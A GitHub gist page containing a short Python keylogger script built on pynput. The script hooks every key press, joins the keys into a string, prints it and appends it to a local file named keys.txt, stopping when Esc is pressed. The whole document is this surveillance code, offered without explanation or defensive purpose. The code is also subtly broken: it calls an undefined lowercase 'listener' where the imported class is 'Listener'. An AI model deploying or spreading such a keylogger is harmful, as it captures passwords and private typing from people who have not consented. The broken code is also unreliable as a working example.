Skip to content

Instantly share code, notes, and snippets.

@Abhayparashar31
Created October 23, 2020 06:56
Show Gist options
  • Select an option

  • Save Abhayparashar31/ba0cdc4e0b4e943698b77dfacf3f8b92 to your computer and use it in GitHub Desktop.

Select an option

Save Abhayparashar31/ba0cdc4e0b4e943698b77dfacf3f8b92 to your computer and use it in GitHub Desktop.
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
global keys
#keys.append(str(key).replace("'",""))
string = str(key).replace("'","")
keys.append(string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('keys.txt', 'a') as f:
f.write(main_string)
keys= []
def on_release(key):
if key == Key.esc:
return False
with listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment